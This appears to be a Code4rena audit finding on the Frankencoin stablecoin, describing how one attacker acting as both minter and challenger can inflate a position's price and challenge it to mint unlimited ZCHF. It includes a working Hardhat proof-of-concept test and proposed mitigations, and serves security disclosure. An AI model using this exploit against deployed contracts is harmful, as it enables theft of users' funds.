Lucene search

K
code423n4Code4renaCODE423N4:2023-04-FRANKENCOIN-FINDINGS-ISSUES-973
HistoryApr 19, 2023 - 12:00 a.m.

Attacker can extract unlimited ZCHF by setting a high price for a position and challenging it

2023-04-1900:00:00
Code4rena
github.com
8
vulnerability
minter
challenger
collateral
price manipulation
reward
reserve drain

Lines of code

Vulnerability details

An attacker can act as both minter and challenger, and profit by setting an arbitrarily high price for a position (way higher than what the collateral really is worth), and then immediately challenging the position. After the challenge succeeds, the attacker will obtain 2% of the arbitrarily high amount of ZCHF that could be minted from the collateral at the attacker-controlled price. As the reserve will mint new tokens should it not have enough to cover the reward, the attacker can not only drain the reserve this way, but obtain an arbitrary amount of ZCHF.

Detailed Explanation

The whitepaper considers what happens with incentives in the liquidation game, should the identites of bidder and one of the other actors overlap, but fails to consider an overlap of the identities of the minter and the challenger.

Suppose the attacker owns a position of little value that is currently not challenged. The attacker can then increase the claimed price of the collateral to a value as high as they wish:

function adjustPrice(uint256 newPrice) public onlyOwner noChallenge {
    if (newPrice > price) {
        restrictMinting(3 days);
    } else {
        checkCollateral(collateralBalance(), newPrice);
    }
    price = newPrice;
    emitUpdate();
}

While the attacker won’t be able to use the position to mint ZCHF at the new, absurdly high, valuation of the collateral, they are able to immediately open a challenge on the position (that there is a period after increasing the price where the minter can not mint yet, but the position can be challenged is exactly the point of restricting minting for 3 days). As we assumed the amount of collateral in the position is in reality not worth much, it is no problem for the attacker to provide that collateral again for the challenge. After some time the challenge will succeed. The reward for the challenger (=the attacker) is then calculated as follows. In the notifyChallengeSucceeded function of the Position contract volumeZCHF is calculated as follows:

uint256 volumeZCHF = _mulD18(price, _size); // How much could have minted with the challenged amount of the collateral

As the attacker controls both price and _size and can in particular set price to an arbitrarily large value, the attacker can obtain an arbitrarily large value for volumeZCHF.
In the end function of the MintingHub, the challenger (so the attacker) is then rewarded with 2% of volumeZCHF (here called volume).

uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;
uint256 fundsNeeded = reward + repayment;
if (effectiveBid > fundsNeeded){
    zchf.transfer(owner, effectiveBid - fundsNeeded);
} else if (effectiveBid < fundsNeeded){
    zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything
}
zchf.transfer(challenge.challenger, reward); // pay out the challenger reward
zchf.burn(repayment, reservePPM); // Repay the challenged part

Note that the attacker will obtain the entire reward even if neither bid nor reserve has sufficient ZCHF for this, as notifyLoss will, if necessary, mint the required ZCHF:

function notifyLoss(uint256 _amount) override external minterOnly {
   uint256 reserveLeft = balanceOf(address(reserve));
   if (reserveLeft >= _amount){
      _transfer(address(reserve), msg.sender, _amount);
   } else {
      _transfer(address(reserve), msg.sender, reserveLeft);
      _mint(msg.sender, _amount - reserveLeft);
   }
}

If the attack proceeds from an already existing position the attacker will have to wait until the challenge period is over to cash out. However, as a variant the attacker can also open an entirely new position with an arbitrarily high price for the collateral. By setting the challengePeriod to 0, the attacker can then immediately challenge the position, end the position obtaining a huge reward, and convert the ZCHF that were obtained into other assets, all in a single transaction.

Proof of Concept

After adding the files listed below, run

npx hardhat test --grep "ShalaamumHighPriceChallenge"

to run the PoC. The output should contain the following.

  ShalaamumHighPriceChallenge
    Preparation
      ✓ Someone adds initial funds to the reserve
    Attacker part
      ✓ Create attacker account
      ✓ Attacker has 1 ETH, 0 ZCHF, 1000 XCHF, 0.002 VOL
      ✓ Reserve has 10000 ZCHF
      ✓ Stablecoin bridge has 40000 XCHF
      ✓ Attacker converts 1000 XCHF to 1000 ZCHF
      ✓ Attacker opens a position with absurdly high price
      ✓ Attacker challenges position
      ✓ Attacker immediately ends challenge
      ✓ Attacker converts ZCHF to XCHF
      ✓ Reserve has 0 ZCHF
      ✓ Stablecoin bridge has 0 XCHF
      ✓ Attacker has 41000 XCHF
      ✓ Attacker got 0.002 VOL back

The PoC demonstrates the attack in which the attcker opens a new position (using very little VOL tokens as collateral) and sets a very high price. The attacker then challenges the position and ends the challenge, therby recovering the VOL used as well as obtaining an amount of ZCHF the attacker can essentially freely choose. In this example the attacker extracts as much ZCHF as are needed to drain the ZCHF-XCHF-bridge.

Files to add

test/ShalaamumHighPriceChallenge.ts

// @ts-nocheck
import {expect} from "chai";
import { float } from "hardhat/internal/core/params/argumentTypes";
import { floatToDec18, dec18ToFloat } from "../scripts/math";
const { ethers, network } = require("hardhat");
const BN = ethers.BigNumber;
import { createContract } from "../scripts/utils";
const { setBalance } = require("@nomicfoundation/hardhat-network-helpers");

let ZCHFContract, mintingHubContract, accounts;
let positionFactoryContract;
let mockXCHF, mockVOL, bridge;
let owner, sygnum;
let reserve;

describe("ShalaamumHighPriceChallenge", function () {

    before(async function () {
        //// Stuff below copied from PositionTests.ts
        accounts = await ethers.getSigners();
        owner = accounts[0].address;
        sygnum = accounts[1].address;
        // create contracts
        ZCHFContract = await createContract("Frankencoin", [10 * 86_400]);
        positionFactoryContract = await createContract("PositionFactory");
        mintingHubContract = await createContract("MintingHub", [ZCHFContract.address, positionFactoryContract.address]);
        // mocktoken
        mockXCHF = await createContract("TestToken", ["CryptoFranc", "XCHF", 18]);
        // mocktoken bridge to bootstrap
        let limit = floatToDec18(1000_000);
        bridge = await createContract("StablecoinBridge", [mockXCHF.address, ZCHFContract.address, limit]);
        ZCHFContract.suggestMinter(bridge.address, 0, 0, "XCHF Bridge");
        // create a minting hub too while we have no ZCHF supply
        ZCHFContract.suggestMinter(mintingHubContract.address, 0, 0, "Minting Hub");
        
        // wait for 1 block
        await ethers.provider.send('evm_increaseTime', [60]); 
        await network.provider.send("evm_mine");
        // now we are ready to bootstrap ZCHF with Mock-XCHF
        await mockXCHF.mint(owner, limit.div(2));
        await mockXCHF.mint(sygnum, limit.div(2));
        let balance = await mockXCHF.balanceOf(sygnum);
        expect(balance).to.be.equal(limit.div(2));
        // mint some ZCHF to block bridges without veto
        let amount = floatToDec18(20_000);
        await mockXCHF.connect(accounts[1]).approve(bridge.address, amount);
        await bridge.connect(accounts[1])["mint(uint256)"](amount);
        // owner mints some to be able to create a position
        await mockXCHF.connect(accounts[0]).approve(bridge.address, amount);
        await bridge.connect(accounts[0])["mint(uint256)"](amount);
        // vol tokens
        mockVOL = await createContract("TestToken", ["Volatile Token", "VOL", 18]);
        amount = floatToDec18(500_000);
        await mockVOL.mint(owner, amount);

        reserve = await ethers.getContractAt("Equity", await ZCHFContract.reserve());
    });

    let positionAddr, positionContract;
    let clonePositionAddr, clonePositionContract;
    let fee = 0.01;
    let reserve = 0.10;
    let mintAmount = 100;
    let initialLimit = floatToDec18(110_000);
    let fMintAmount = floatToDec18(mintAmount);
    let fLimit, limit;
    let fGlblZCHBalanceOfCloner;
    let initialCollateral = 10;//orig position
    let initialCollateralClone = 1;
    let challengeAmount;

    describe("Preparation", function () {
        it("Someone adds initial funds to the reserve", async () => {
            await ZCHFContract.transferAndCall(reserve.address, floatToDec18(1000), 0);
            await ZCHFContract.transferAndCall(reserve.address, floatToDec18(9000), 0);
            let balance = await ZCHFContract.balanceOf(reserve.address);
            expect(balance).to.be.equal(floatToDec18(10000));
        });

    });
  
    describe("Attacker part", function () {
        let attacker;
        let position, challenge;

        it("Create attacker account", async function () {
            attacker = (await ethers.Wallet.createRandom()).connect(ethers.provider);
        });

        it("Attacker has 1 ETH, 0 ZCHF, 1000 XCHF, 0.002 VOL", async function () {
            await mockXCHF.transfer(attacker.address, 1000n*10n**18n);
            await setBalance(attacker.address, 10n**18n);
            await mockVOL.mint(attacker.address, 2n*10n**15n);

            expect(await mockVOL.balanceOf(attacker.address)).eq(2n*10n**15n);
            expect(await ethers.provider.getBalance(attacker.address)).eq(10n**18n);
            expect(await ZCHFContract.balanceOf(attacker.address)).eq(0);
            expect(await mockXCHF.balanceOf(attacker.address)).eq(1000n*10n**18n);
        });

        it("Reserve has 10000 ZCHF", async function () {
            expect(await ZCHFContract.balanceOf(reserve.address)).eq(10000n*10n**18n);
        });

        it("Stablecoin bridge has 40000 XCHF", async function () {
            expect(await mockXCHF.balanceOf(bridge.address)).eq(40000n*10n**18n);
        });

        it("Attacker converts 1000 XCHF to 1000 ZCHF", async function () {
            await mockXCHF.connect(attacker).approve(
                bridge.address,
                await mockXCHF.connect(attacker).balanceOf(attacker.address)
            );
            await bridge.connect(attacker)["mint(uint256)"](
                await mockXCHF.connect(attacker).balanceOf(attacker.address)
            );
            expect(await ZCHFContract.balanceOf(attacker.address)).eq(1000n*10n**18n);
            expect(await mockXCHF.balanceOf(attacker.address)).eq(0);
        });

        it("Attacker opens a position with absurdly high price", async function () {
            await mockVOL.connect(attacker).approve(mintingHubContract.address, 10n**15n);
            await ZCHFContract.connect(attacker).approve(mintingHubContract.address, 1000n*10n**18n);
            let tx = await mintingHubContract.connect(attacker)["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"](
                mockVOL.address,
                0,
                10n**15n, // initial collateral
                0,
                0,
                0,
                0,
                (await mockXCHF.connect(attacker).balanceOf(bridge.address)).mul(50n*1000n),
                0
            );
            let rc = await tx.wait();
            const topic = '0x591ede549d7e337ac63249acd2d7849532b0a686377bbf0b0cca6c8abd9552f2'; // PositionOpened
            const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0);
            position = log.address;
        });

        it("Attacker challenges position", async function () {
            await mockVOL.connect(attacker).approve(mintingHubContract.address, 10n**15n);
            await mintingHubContract.connect(attacker).launchChallenge(
                position,
                10n**15n
            );
            challenge = 0; // This is the first challenge
        });

        it("Attacker immediately ends challenge", async function () {
            await mintingHubContract.connect(attacker)["end(uint256)"](challenge);
        });

        it("Attacker converts ZCHF to XCHF", async function () {
            await bridge.connect(attacker)["burn(uint256)"](
                await mockXCHF.connect(attacker).balanceOf(bridge.address)
            );
        });

        it("Reserve has 0 ZCHF", async function () {
            expect(await ZCHFContract.balanceOf(reserve.address)).eq(0);
        });

        it("Stablecoin bridge has 0 XCHF", async function () {
            expect(await mockXCHF.balanceOf(bridge.address)).eq(0);
        });

        it("Attacker has 41000 XCHF", async function () {
            expect(await mockXCHF.balanceOf(attacker.address)).eq(41000n*10n**18n);
        });

        it("Attacker got 0.002 VOL back", async function () {
            expect(await mockVOL.balanceOf(attacker.address)).eq(2n*10n**15n);
        });
    });
});

Mitigation

We first make some comments on the liquidation game, where we have the four actors minter, challenger, bidder, and reserve, and where the liquidation game is intended to incentivise players in such a way that positions stay sound.

Note that if the minter sets a very high price, then there will be no incentive for a bidder to bid high enough for the challenge to fail. Hence we can restrict ourselves to consider cases where the challenge succeeds. Note that the sum of the payoffs for the four actors is zero, so unless the payoff for everyone is always zero, there are situations in which a subset of the actors involved will together make a profit, whereas the complement will make a loss.

In a situation where the collateral already became worthless it is not possible to force the minter to take a loss. The bidder can never be forced to take a loss. In that kind of situation the challenger needs to be incentivized to challenge the position so that the minter can be blocked from minting more ZCHF and thereby devaluing ZCHF. This means the system by necessity needs to be set up in a way in which there are scenarios in which the reserve will make a loss.

There thus by necessity must be some configuration of parameters (price, amount bid, etc.) where the reserve makes a loss. But given that relevant parameters are not controlled by the reserve, but by the other three actors (particular the minter), and the reserve/system has no way of verifying the parameters validity given the goal of not relying on oracles, this means that if an attacker acts as all three other actors together, then the attacker can make a profit at the expense of the reserve by choosing parameters appropriately.

The upshot of this handwavy argument is that it does not seem possible to avoid minter-challenger-bidder-collusion making a profit at the expense of the reserve without relying on another, differently incentivized, actor involved in the system. Such an actor already exists in the system, the FPS holders. They can already deny a new position. It seems to me that the most promising fix for the problem described here would use that as the starting point.

To avoid an attacker being able to open a position with high price and immediately challenging, one could disallow challenges during an initial period of time during wich the FPS holders have time to deny the position beforehand (currently it is only disallowed to mint from the position during that initial time).

After the position has started without being denied, it will be necessary to deal with the minter increasing the price and then pulling off the attack. To avoid this one could again introduce a period in which no minting or challenging can happen, but the FPS holders can deny the change.

Alternatively, one could allow only slow changes to the price, with the rate set in such a way to disincentivize this attack. In other words, we use FPS holders to ensure the initial price is reasonable, and then prevent this attack by making it impossible for the minter to “jump over” the price range where challenges are profitable for the challenger, but the attack is not yet profitable.

For this, suppose that the amount of collateral is 1, and the actual market price is p, which is also what is set in the position. Let r be the ratio of minted ZCHF that goes into the reserve (the reserveContribution). We will ignore the minting fees here. Then the minter will start out with p*(1-r) ZCHF, and there is 1 collateral in the position, worth p ZCHF. Now let us say that the minter increases the price to ap, with a > 1, and challenges it. The highest bid will be p. The bidder will obtain the 1 collateral worth p ZCHF in exchange for p ZCHF, so not make a net profit or loss. The challenger gets the reward, which is 0.02pa. The minter will get to keep the p(1-r) ZCHF, but loses the possibility of recovering the collateral that was worth p ZCHF, so the minter will have made a loss of rp.
If minter and challenger are identical, then the combined profit or loss is 0.02
ap - rp = (0.02 * a - r)p. If we want to avoid this from being profitable (and thus become a loss for the reserve), we need 0.02 * a - r <= 0 and hence must ensure a <= 50r. So for example if r=10% we would need a <= 5. So the minter would only be allowed to increase the price by a factor of at most 5 in a time period that is sufficient for other challengers from challenging the price in the meantime. If the minter-challenger-attacker tries to increase the price over a longer period of time until it is high enough to make the attack profitable, then we can then expect another, legitimate, challenger to already have challenged the too-high-price in a medium stage where the attack was not yet profitable. To avoid the minter from deviating more than by a factor of a from the real price (in the high-price direction) by continuing to increase the price after a liquidation, the price should perhaps be reduced after a successful “measurement” via a challenge showed it is lower than the minter claimed. So if the attacker had 1 collateral at price 1 originally and increased the price to 5, got challenged so that the collateral got lost, then the attacker should not be able to just provide 1 fresh collateral and keep going to increase the price to 5.

It may also be a good idea to set a minimum challengePeriod.


The text was updated successfully, but these errors were encountered:

All reactions